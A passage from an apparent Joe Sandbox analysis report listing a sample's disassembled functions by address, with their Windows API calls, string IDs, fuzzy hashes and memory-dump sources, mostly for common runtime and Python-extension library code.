                                                    • Associated: 00000001.00000002.3018842963.00007FFE14630000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018885111.00007FFE14638000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018906517.00007FFE14640000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018928348.00007FFE14642000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe14630000_file.jbxd
                                                    Similarity
                                                    • API ID: Err_Long_Occurred$Arg_KeywordsUnpack
                                                    • String ID:
                                                    • API String ID: 591546834-0
                                                    • Opcode ID: a7a7f93d6c09b976a644a8703b6fda579b77e3a5ef28a09bae6b61967c8d869f
                                                    • Instruction ID: c4456a43290dac42b8598e32a70239bf8e1909c200bb64f9017810cd6bdf04f5
                                                    • Opcode Fuzzy Hash: a7a7f93d6c09b976a644a8703b6fda579b77e3a5ef28a09bae6b61967c8d869f
                                                    • Instruction Fuzzy Hash: C3417465A09E8142FA549B26A484775A2D0BF86BBCF180679EE5D437F0DF3CF4488280
                                                    Function 00007FFE1A49DB00 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3019088524.00007FFE1A491000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE1A490000, based on PE: true
                                                    • Associated: 00000001.00000002.3019066108.00007FFE1A490000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019117543.00007FFE1A4A1000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019139929.00007FFE1A4A6000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019163495.00007FFE1A4A7000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe1a490000_file.jbxd
                                                    Similarity
                                                    • API ID: NameName::atol
                                                    • String ID: `template-parameter$void
                                                    • API String ID: 2130343216-4057429177
                                                    • Opcode ID: 7b7e14213947c3780e213c190a7c5fdcdd2a49ff05635447eaaef3bd9456bf2e
                                                    • Instruction ID: 2be884fc7d2ea14b3f82e05e96dc1479cd00aa16ef342d4e2093bff6f1212f29
                                                    • Opcode Fuzzy Hash: 7b7e14213947c3780e213c190a7c5fdcdd2a49ff05635447eaaef3bd9456bf2e
                                                    • Instruction Fuzzy Hash: 2E416D22F08F6688FB20CB66D8512BC2371BF48BA4F5401B6DE4E27A69DF789465C340
                                                    Function 00007FF6399BCFE8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    • LoadLibraryExW.KERNEL32(?,?,?,00007FF6399BD29A,?,?,?,00007FF6399BCF8C,?,?,?,00007FF6399BCB89), ref: 00007FF6399BD06D
                                                    • GetLastError.KERNEL32(?,?,?,00007FF6399BD29A,?,?,?,00007FF6399BCF8C,?,?,?,00007FF6399BCB89), ref: 00007FF6399BD07B
                                                    • LoadLibraryExW.KERNEL32(?,?,?,00007FF6399BD29A,?,?,?,00007FF6399BCF8C,?,?,?,00007FF6399BCB89), ref: 00007FF6399BD0A5
                                                    • FreeLibrary.KERNEL32(?,?,?,00007FF6399BD29A,?,?,?,00007FF6399BCF8C,?,?,?,00007FF6399BCB89), ref: 00007FF6399BD113
                                                    • GetProcAddress.KERNEL32(?,?,?,00007FF6399BD29A,?,?,?,00007FF6399BCF8C,?,?,?,00007FF6399BCB89), ref: 00007FF6399BD11F
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: Library$Load$AddressErrorFreeLastProc
                                                    • String ID: api-ms-
                                                    • API String ID: 2559590344-2084034818
                                                    • Opcode ID: ae36e00ef30d4e956021163d7a0c1bae911f6c658fcf96311cd3d9d96979b27c
                                                    • Instruction ID: c33bfc9449a0bafd8bc4479af2f731b1775dfc1c6ded1b778bfb34e45dbe6074
                                                    • Opcode Fuzzy Hash: ae36e00ef30d4e956021163d7a0c1bae911f6c658fcf96311cd3d9d96979b27c
                                                    • Instruction Fuzzy Hash: C031C466B1AA42D1EE159F12A84067563A6FF08BA4F5E0535DD1D873CAEF3CE442DB00
                                                    Function 00007FFDFF19F3D8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 86libraryloaderCOMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    • LoadLibraryExW.API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0(?,?,?,00007FFDFF19F6D2,?,?,00000000,00007FFDFF19F32C,?,?,?,?,00007FFDFF19ED0A), ref: 00007FFDFF19F45B
                                                    • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,00007FFDFF19F6D2,?,?,00000000,00007FFDFF19F32C,?,?,?,?,00007FFDFF19ED0A), ref: 00007FFDFF19F469
                                                    • LoadLibraryExW.API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0(?,?,?,00007FFDFF19F6D2,?,?,00000000,00007FFDFF19F32C,?,?,?,?,00007FFDFF19ED0A), ref: 00007FFDFF19F493
                                                    • FreeLibrary.API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0(?,?,?,00007FFDFF19F6D2,?,?,00000000,00007FFDFF19F32C,?,?,?,?,00007FFDFF19ED0A), ref: 00007FFDFF19F4D9
                                                    • GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0(?,?,?,00007FFDFF19F6D2,?,?,00000000,00007FFDFF19F32C,?,?,?,?,00007FFDFF19ED0A), ref: 00007FFDFF19F4E5
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: Library$Load$AddressErrorFreeLastProc
                                                    • String ID: api-ms-
                                                    • API String ID: 2559590344-2084034818
                                                    • Opcode ID: c721c8dcfc5d9267395ce12346c3863fafe12b61dd215cd9729a2090ba35af17
                                                    • Instruction ID: 979396050b9f75c7f63934eb59dfef6c741de7ef7159c909d5d2fa42dba2f2d9
                                                    • Opcode Fuzzy Hash: c721c8dcfc5d9267395ce12346c3863fafe12b61dd215cd9729a2090ba35af17
                                                    • Instruction Fuzzy Hash: 39318A22F1A642A1EF219F06A824E7923A4BF54BA8F590235DD3D477C9EF3CE445C780
                                                    Function 00007FFE1A498900 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 81COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3019088524.00007FFE1A491000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE1A490000, based on PE: true
                                                    • Associated: 00000001.00000002.3019066108.00007FFE1A490000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019117543.00007FFE1A4A1000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019139929.00007FFE1A4A6000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019163495.00007FFE1A4A7000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe1a490000_file.jbxd
                                                    Similarity
                                                    • API ID: Name::operator+Replicator::operator[]
                                                    • String ID: ,...$,<ellipsis>$...$<ellipsis>$void
                                                    • API String ID: 1405650943-2211150622
                                                    • Opcode ID: 463b429a368d480f938697e6d099cec3f907049628b5d1349ecbd199c78a6655
                                                    • Instruction ID: ad8b2f9b3b47170ae9452129ce0ca84cdea3e813f19811ad07e2943cf4f71d3c
                                                    • Opcode Fuzzy Hash: 463b429a368d480f938697e6d099cec3f907049628b5d1349ecbd199c78a6655
                                                    • Instruction Fuzzy Hash: 4F4147B6B08F96D9F7228F2AD8402B837A0BB48B18F5445F6CA5E12774DF7CA561C301
                                                    Function 00007FFE1A49A6E4 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 80COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3019088524.00007FFE1A491000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE1A490000, based on PE: true
                                                    • Associated: 00000001.00000002.3019066108.00007FFE1A490000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019117543.00007FFE1A4A1000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019139929.00007FFE1A4A6000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                    • Associated: 00000001.00000002.3019163495.00007FFE1A4A7000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe1a490000_file.jbxd
                                                    Similarity
                                                    • API ID: Name::operator+
                                                    • String ID: char $int $long $short $unsigned
                                                    • API String ID: 2943138195-3894466517
                                                    • Opcode ID: 01c330b6d3460536b725c75710ede4031362a47bdaf6c5878ce89829e4b6ba2f
                                                    • Instruction ID: 299a569d302f36c82230030b36ed25cdf1428d9d8e3ede4a0db34c94302356ed
                                                    • Opcode Fuzzy Hash: 01c330b6d3460536b725c75710ede4031362a47bdaf6c5878ce89829e4b6ba2f
                                                    • Instruction Fuzzy Hash: 5C316072B18E5588FB218F2AC8553BC27B0BB49B68F5441F2CA0E06AB8DF3CD565C750
                                                    Function 00007FFDFF199E60 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 80COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: Name::operator+
                                                    • String ID: char $int $long $short $unsigned
                                                    • API String ID: 2943138195-3894466517
                                                    • Opcode ID: 5761b87d062b1b08aee1f0b7513b6dc8c528a945a4ebd64381c516eb9dcabe3b
                                                    • Instruction ID: cf5dc508a6aa39264ac173f3bacaac0dbbe0eea64803afc83953e7098b164568
                                                    • Opcode Fuzzy Hash: 5761b87d062b1b08aee1f0b7513b6dc8c528a945a4ebd64381c516eb9dcabe3b
                                                    • Instruction Fuzzy Hash: 2C318133F1860588FB248F64D4A0ABC37B0AB05748F844235DA7C967DDDF28A541C790
                                                    Function 00007FFDFF16FD08 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 69libraryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • LoadLibraryExW.API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0(?,?,?,00007FFDFF1C852F,?,?,?,00007FFDFF1716D7,?,?,?,?,?,00007FFDFF151139), ref: 00007FFDFF16FD4C
                                                    • LoadLibraryExW.API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0(?,?,?,00007FFDFF1C852F,?,?,?,00007FFDFF1716D7,?,?,?,?,?,00007FFDFF151139), ref: 00007FFDFF16FDA5
                                                    • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,00007FFDFF1C852F,?,?,?,00007FFDFF1716D7,?,?,?,?,?,00007FFDFF151139), ref: 00007FFDFF1AE98A
                                                    • FreeLibrary.API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0(?,?,?,00007FFDFF1C852F,?,?,?,00007FFDFF1716D7,?,?,?,?,?,00007FFDFF151139), ref: 00007FFDFF1AE9DE
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: Library$Load$ErrorFreeLast
                                                    • String ID: api-ms-$ext-ms-
                                                    • API String ID: 3813093105-537541572
                                                    • Opcode ID: 1477fb5987302eedbff506d4bd2f2df0813e3e3c0d5873f8daed49c2e755a4b2
                                                    • Instruction ID: 13b455673a26711e042158a53d52565354e32eb31b67bce6027ba0b35ac29739
                                                    • Opcode Fuzzy Hash: 1477fb5987302eedbff506d4bd2f2df0813e3e3c0d5873f8daed49c2e755a4b2
                                                    • Instruction Fuzzy Hash: 50218E22B19B5681FB65AB569420A392390BF89BA4F441335DE7E877D8EF3CF4018340
                                                    Function 00007FF6399B7B50 Relevance: 10.6, APIs: 7, Instructions: 63COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: Token$InformationProcess$CloseConvertCurrentErrorHandleLastOpenString
                                                    • String ID:
                                                    • API String ID: 995526605-0
                                                    • Opcode ID: cb4766db9d01b9dd8e968687fe92956989c3d0e6154c1ea64db8f8bdde092e2e
                                                    • Instruction ID: ef14b38fe6606a733dda591b69af5bef2592ed940bce44ba1d5f0d51a78d3933
                                                    • Opcode Fuzzy Hash: cb4766db9d01b9dd8e968687fe92956989c3d0e6154c1ea64db8f8bdde092e2e
                                                    • Instruction Fuzzy Hash: DD212321A0CA4341EB109F59E88422AA3A2EF857A4F180239DA6D83FDEDF7DD4459F00
                                                    Function 00007FF6399CA460 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: Value$ErrorLast
                                                    • String ID:
                                                    • API String ID: 2506987500-0
                                                    • Opcode ID: 4f1009f36f4b7e41e642a617816a0843c7a4fdcae41be86a1245b23186b7dd2e
                                                    • Instruction ID: 98f7ee20a10b87008a569240446f8a3cf98074ea76f3445855d27169c2225e3a
                                                    • Opcode Fuzzy Hash: 4f1009f36f4b7e41e642a617816a0843c7a4fdcae41be86a1245b23186b7dd2e
                                                    • Instruction Fuzzy Hash: AF217921E0E24246FA686F615E9523D61835F887B0F0C4734E93E86BDFEE2CB8416F01
                                                    Function 00007FF6399B29E0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 58windowCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: Message$ErrorFormatLast
                                                    • String ID: %ls%ls: %ls$<FormatMessageW failed.>$Error
                                                    • API String ID: 3971115935-1149178304
                                                    • Opcode ID: 7223b30dd23a30c2aa7faf0092ff60e4697deebee1b944f1837b883079aee3ab
                                                    • Instruction ID: e23df13dd8c211dbbfe134ac05227a4795ee38c66b6018f8bd935c15cbdd32e1
                                                    • Opcode Fuzzy Hash: 7223b30dd23a30c2aa7faf0092ff60e4697deebee1b944f1837b883079aee3ab
                                                    • Instruction Fuzzy Hash: 20216072608A8682E7209F11F4502EA73A5FB88784F440136EACD93BDDDF7CD6469F40
                                                    Function 00007FF6399D707C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
                                                    • String ID: CONOUT$
                                                    • API String ID: 3230265001-3130406586
                                                    • Opcode ID: 274174309ff0e3cf7757a3f5c883333dff1858e51aae267b9afc88cc39a62d3b
                                                    • Instruction ID: c327a1c576fd2c23f4cfda020a9c6fec5d5f84435993d5abf32d11c4a5d136ca
                                                    • Opcode Fuzzy Hash: 274174309ff0e3cf7757a3f5c883333dff1858e51aae267b9afc88cc39a62d3b
                                                    • Instruction Fuzzy Hash: 8B115E21A18A4686E7508F56E89532963A2FF98FE4F084234EA5DC77D9DF7CE444CB40
                                                    Function 00007FFE14636B98 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 43COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018862329.00007FFE14631000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFE14630000, based on PE: true
                                                    • Associated: 00000001.00000002.3018842963.00007FFE14630000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018885111.00007FFE14638000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018906517.00007FFE14640000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018928348.00007FFE14642000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe14630000_file.jbxd
                                                    Similarity
                                                    • API ID: Arg_AuditFreeMem_ParseSizeSys_Tuple_
                                                    • String ID: et:gethostbyname$idna$socket.gethostbyname
                                                    • API String ID: 3195760359-1353326193
                                                    • Opcode ID: 7a5818cc4dc255613eff683c93250937d1e998ca58696d101f39aa1168e576a8
                                                    • Instruction ID: 2bfd0080029547bfb198efb7565f0835b90e103f31f9111261e1f797c9df52e2
                                                    • Opcode Fuzzy Hash: 7a5818cc4dc255613eff683c93250937d1e998ca58696d101f39aa1168e576a8
                                                    • Instruction Fuzzy Hash: 9011246170CEC291EA60DB63E8D01A567A0EF49BECF445071DA4E87775DE3CE549C780
                                                    Function 00007FFE1463789C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 28COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018862329.00007FFE14631000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFE14630000, based on PE: true
                                                    • Associated: 00000001.00000002.3018842963.00007FFE14630000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018885111.00007FFE14638000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018906517.00007FFE14640000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018928348.00007FFE14642000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffe14630000_file.jbxd
                                                    Similarity
                                                    • API ID: Err_LongLong_Unsigned$FormatFromOccurredhtonl
                                                    • String ID: expected int, %s found
                                                    • API String ID: 3347179618-1178442907
                                                    • Opcode ID: e3556f6a03ec0040ac1da82470a025f5c45ecbbd4bb02cbe249c935c2906be58
                                                    • Instruction ID: e1d30fc5acf71d0900e3aac298296fd3d798ec410a6f31f2c69bdd71f9001f42
                                                    • Opcode Fuzzy Hash: e3556f6a03ec0040ac1da82470a025f5c45ecbbd4bb02cbe249c935c2906be58
                                                    • Instruction Fuzzy Hash: 96F01261E08F82C1E7549B6698C41B923A0BF4AB7DF144576D54E437B0DE3CD45CD390
                                                    Function 00007FF6399B81F0 Relevance: 9.1, APIs: 6, Instructions: 121COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetCurrentProcess.KERNEL32(?,00000000,?,00007FF6399B39F2), ref: 00007FF6399B821D
                                                    • K32EnumProcessModules.KERNEL32(?,00000000,?,00007FF6399B39F2), ref: 00007FF6399B827A
                                                      • Part of subcall function 00007FF6399B86B0: MultiByteToWideChar.KERNEL32(?,?,?,00007FF6399B3FA4,00000000,00007FF6399B1925), ref: 00007FF6399B86E9
                                                    • K32GetModuleFileNameExW.KERNEL32(?,00000000,?,00007FF6399B39F2), ref: 00007FF6399B8305
                                                    • K32GetModuleFileNameExW.KERNEL32(?,00000000,?,00007FF6399B39F2), ref: 00007FF6399B8364
                                                    • FreeLibrary.KERNEL32(?,00000000,?,00007FF6399B39F2), ref: 00007FF6399B8375
                                                    • FreeLibrary.KERNEL32(?,00000000,?,00007FF6399B39F2), ref: 00007FF6399B838A
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3016959860.00007FF6399B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6399B0000, based on PE: true
                                                    • Associated: 00000001.00000002.3016941257.00007FF6399B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017017692.00007FF6399DB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399EE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017043415.00007FF6399F3000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF6399F6000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000001.00000002.3017080594.00007FF639A09000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ff6399b0000_file.jbxd
                                                    Similarity
                                                    • API ID: FileFreeLibraryModuleNameProcess$ByteCharCurrentEnumModulesMultiWide
                                                    • String ID:
                                                    • API String ID: 3462794448-0
                                                    • Opcode ID: a6a3fb36dedf01dc407d01068d21ba79f730b9d247533213ec4f70efe0ab8627
                                                    • Instruction ID: 834c98667831e22057056d3d4d063e21c466b5403ca761783c5083c2f809bae7
                                                    • Opcode Fuzzy Hash: a6a3fb36dedf01dc407d01068d21ba79f730b9d247533213ec4f70efe0ab8627
                                                    • Instruction Fuzzy Hash: B441B162A1968281EA709F12A4442BA73A6FF88BC0F484135DF9D977CEDE3CE401DF10
                                                    Function 00007FFDFF178608 Relevance: 9.1, APIs: 6, Instructions: 118COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    Memory Dump Source
                                                    • Source File: 00000001.00000002.3018679128.00007FFDFF151000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FFDFF150000, based on PE: true
                                                    • Associated: 00000001.00000002.3018656665.00007FFDFF150000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018757970.00007FFDFF213000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018794219.00007FFDFF24E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000001.00000002.3018816816.00007FFDFF251000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_1_2_7ffdff150000_file.jbxd
                                                    Similarity
                                                    • API ID: ErrorLastValue
                                                    • String ID:
                                                    • API String ID: 1151882462-0
                                                    • Opcode ID: d494042de3c07cd63416bc580fbf3c0f8a818f402862b0778b8dbdf46f6cb613
                                                    • Instruction ID: 84c1a6ae5f10889dc2d1d0ad6008ecf76dde699370eba81fd13c99fc31b829aa
                                                    • Opcode Fuzzy Hash: d494042de3c07cd63416bc580fbf3c0f8a818f402862b0778b8dbdf46f6cb613
                                                    • Instruction Fuzzy Hash: CE518232F08B8286EB549F16A46096977A0FB85B80F140635EF7D83799DF3CE541C704
                                                    Function 00007FFE1A496570 Relevance: 9.1, APIs: 6, Instructions: 84stringCOMMON
                                                    Download Yara Rule
                                                    APIs
